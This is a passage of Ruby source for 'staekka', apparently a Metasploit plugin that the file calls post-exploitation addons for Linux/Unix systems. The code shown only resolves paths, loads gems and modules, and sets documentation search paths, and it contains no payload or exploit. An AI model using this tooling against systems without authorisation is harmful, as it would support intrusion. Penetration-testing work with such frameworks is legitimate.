::File.directory? dir 38 | @staekka_path = dir 39 | break 40 | end 41 | end 42 | end 43 | end 44 | if @staekka_path.nil? 45 | raise "Need Staekka path! (option Path or export STAEKKA_PATH=)" 46 | end 47 | 48 | # add path to Msf config 49 | path = @staekka_path 50 | Msf::Config.singleton_class.send(:define_method, :staekka_path) do 51 | path 52 | end 53 | 54 | $LOAD_PATH << @staekka_path + "/lib" 55 | if opts['Test'] == 'true' 56 | $LOAD_PATH << "test/lib" 57 | if opts['Testdir'] 58 | testpath = opts['Testdir'] 59 | elsif ::File.file? "#{ENV['STAEKKA_TEST'].to_s}/lib/modules_test_extra.rb" 60 | testpath = "#{ENV['STAEKKA_TEST']}/" 61 | elsif ::File.file? "#{@staekka_path}/test/lib/modules_test_extra.rb" 62 | testpath = "#{@staekka_path}/test" 63 | elsif ::File.file? "#{@staekka_path}-test/lib/modules_test_extra.rb" 64 | testpath = "#{@staekka_path}-test" 65 | else 66 | raise "Cannot find library path" 67 | end 68 | if ::File.directory? testpath 69 | $LOAD_PATH << testpath + "/lib" 70 | @staekka_test_path = testpath 71 | else 72 | raise "No directory #{testpath}" 73 | end 74 | end 75 | 76 | # fixing load issues 77 | load_termios 78 | load_minitar 79 | 80 | add_extra_gems_to_path 81 | require 'staekka' 82 | require 'base/sessions/pty' 83 | cmd_loadpath(@staekka_path + "/modules") 84 | # cmd_loadpath(STAEKKA_MODULES) 85 | # Msf::Ui::Console::CommandDispatcher.Core.cmd_loadpath(STAEKKA_MODULES) 86 | print_line("%red" + Staekka::Banner.to_s + "%clr\n\n") 87 | # load_modules_message = "Now you may load the modules. To load the default modules enter\n" 88 | # load_modules_message << "loadpath #{STAEKKA_MODULES}" 89 | # print_line(load_modules_message) 90 | set_documentation_path 91 | end 92 | 93 | # 94 | # setting search path for extra loaded documentation files 95 | # (loaded via info_path plugin) 96 | # 97 | def set_documentation_path 98 | if Msf::Config.methods.include? :doc_search_path 99 | my_path = File.expand_path(File.join(Msf::Config.staekka_path, 'documentation', 'modules' )) 100 | unless Msf::Config.doc_search_path.include? my_path 101 | Msf::Config.doc_search_path << my_path 102 | end 103 | end 104 | end 105 | 106 | # 107 | # unloading staekka documentaion from seach path 108 | # 109 | def unset_documentation_path 110 | if Msf::Config.methods.include? :doc_search_path 111 | my_path = File.expand_path(File.join(Msf::Config.staekka_path, 'documentation', 'modules' )) 112 | unless Msf::Config.doc_search_path.include? my_path 113 | Msf::Config.doc_search_path.delete my_path 114 | end 115 | end 116 | end 117 | 118 | 119 | # cut&paste from https://gist.github.com/krohrbaugh/956581 120 | # Searches for the path of the specified gem, returning the lib path to the 121 | # most recent version of the gem, or nil if no matching path is found. 122 | def find_gem_path(name) 123 | if (Gem.default_path != Gem.path) and (Gem.path.length == 1) # Only metasploit vendor path is given 124 | vendor_path = File.expand_path(File.join(Msf::Config.staekka_path, 'vendor', 'bundle', 'ruby', RbConfig::CONFIG['ruby_version'])) 125 | if File.directory? vendor_path 126 | unless Gem.path.include? vendor_path 127 | Gem.path << vendor_path 128 | end 129 | end 130 | end 131 | candidates = [] 132 | 133 | Gem.path.each do |path| 134 | glob = File.join(path, 'gems/*') 135 | 136 | Dir.glob(glob) do |entry| 137 | basename = File.basename(entry) 138 | gemname, sep, version = basename.rpartition('-') 139 | 140 | if gemname == name 141 | libdir = File.expand_path(File.join(entry, 'lib')) 142 | class << libdir; attr_accessor(:gemname); attr_accessor(:version); end 143 | libdir.gemname = gemname 144 | libdir.version = version.scan(/\d+/).map {|digit| digit.to_i} 145 | candidates.push(libdir) 146 | end 147 | end 148 | end 149 | 150 | candidates.sort! {|a, b| a.version <=> b.version} 151 | candidates.last 152 | end 153 | 154 | # fixing load issues with termios 155 | def load_termios 156 | begin 157 | require 'termios' 158 | rescue LoadError => e 159 | gem_path = find_gem_path("termios") 160 | unless gem_path.nil? 161 | $LOAD_PATH.unshift(gem_path) 162 | else 163 | gem_path = find_gem_path("ruby-termios") 164 | unless gem_path.nil? 165 | $LOAD_PATH.unshift(gem_path) 166 | end 167 | end 168 | require 'termios' 169 | end 170 | end 171 | 172 | # fixing load issues with minitar 173 | def load_minitar 174 | begin 175 | require 'minitar' 176 | rescue LoadError => e 177 | gem_path = find_gem_path("minitar") 178 | $LOAD_PATH.unshift(gem_path) unless gem_path.nil? 179 | require 'termios' 180 | end 181 | end 182 | 183 | 184 | 185 | # 186 | # searches for custom used gems and adds gems path to LOAD_PATH 187 | # (maybe this should be rewritten for using bundler...) 188 | # 189 | def add_extra_gems_to_path 190 | gems_to_load = [] 191 | # parse Gemfile and search for gems to load 192 | gemfile = File.expand_path(File.join(Msf::Config.staekka_path, 'Gemfile')) 193 | ::File.read(gemfile).each_line do |line| 194 | line.gsub!(/^\s*#.*$/, '') 195 | if line.match(/gem\s*"(.*?)"/) 196 | gems_to_load << $1 197 | end 198 | end 199 | 200 | # search for matching files 201 | extra_libs = [] 202 | gems_to_load.each do |lib| 203 | gem_path = Gem.path 204 | # for bundler git installations 205 | gem_path << Bundler.user_bundle_path.join(Bundler.ruby_scope).to_s 206 | # fix for Kali 207 | #gem_path += Dir.glob("/var/lib/gems/2.*").sort 208 | # 209 | gem_path.each do |d| 210 | tmp = Dir.glob(d + "/{gems/,}" +"{ruby-,}#{lib}-*/lib/") # added "ruby-" for fixing "ruby-termios" -> "termios" 211 | unless tmp.empty? 212 | # check if already loaded 213 | tmp.each do |l| 214 | if $LOAD_PATH.include? ::File.dirname(l) 215 | break 216 | end 217 | end 218 | # use newest version 219 | lib_path = tmp.sort_by {|o| Gem::Version.new(o.match(/\/gems\/.*-(\w.*?)\//).to_a[1])}.last 220 | extra_libs << lib_path 221 | break 222 | end 223 | end 224 | end 225 | 226 | # 227 | extra_libs.each do |lib_path| 228 | unless $LOAD_PATH.include? lib_path 229 | $LOAD_PATH << lib_path 230 | end 231 | end 232 | end 233 | 234 | # 235 | # Removes the console menus created by the plugin 236 | # 237 | def cleanup 238 | unset_documentation_path 239 | Msf::Config.singleton_class.send(:remove_method, :staekka_path) 240 | #stop 241 | remove_console_dispatcher('staekka') 242 | end 243 | 244 | # 245 | # This method returns a short, friendly name for the plugin. 246 | # 247 | def name 248 | "staekka" 249 | end 250 | 251 | # 252 | # Returns description of the plugin (60 chars max) 253 | # 254 | def desc 255 | "Post exploitation addons for Linux/Unix systems" 256 | end 257 | 258 | # 259 | # Loads the extra modules 260 | # 261 | def cmd_loadpath(*args) 262 | # defanged? 263 | 264 | totals = {} 265 | overall = 0 266 | curr_path = nil 267 | 268 | begin 269 | # Walk the list of supplied search paths attempting to add each one 270 | # along the way 271 | args.each do |path| 272 | curr_path = path 273 | 274 | # Load modules, but do not consult the cache 275 | next unless (counts = framework.modules.add_module_path(path)) 276 | counts.each_pair do |type, count| 277 | totals[type] = totals[type] ? (totals[type] + count) : count 278 | 279 | overall += count 280 | end 281 | end 282 | rescue NameError, RuntimeError 283 | log_error("Failed to add search path #{curr_path}: #{$ERROR_INFO}") 284 | return true 285 | end 286 | 287 | added = "Loaded #{overall} modules:\n" 288 | 289 | totals.each_pair do |type, count| 290 | added << " #{count} #{type}#{count != 1 ? 's' : ''}\n" 291 | end 292 | 293 | print_line(added) 294 | end 295 | end 296 | end 297 | --------------------------------------------------------------------------------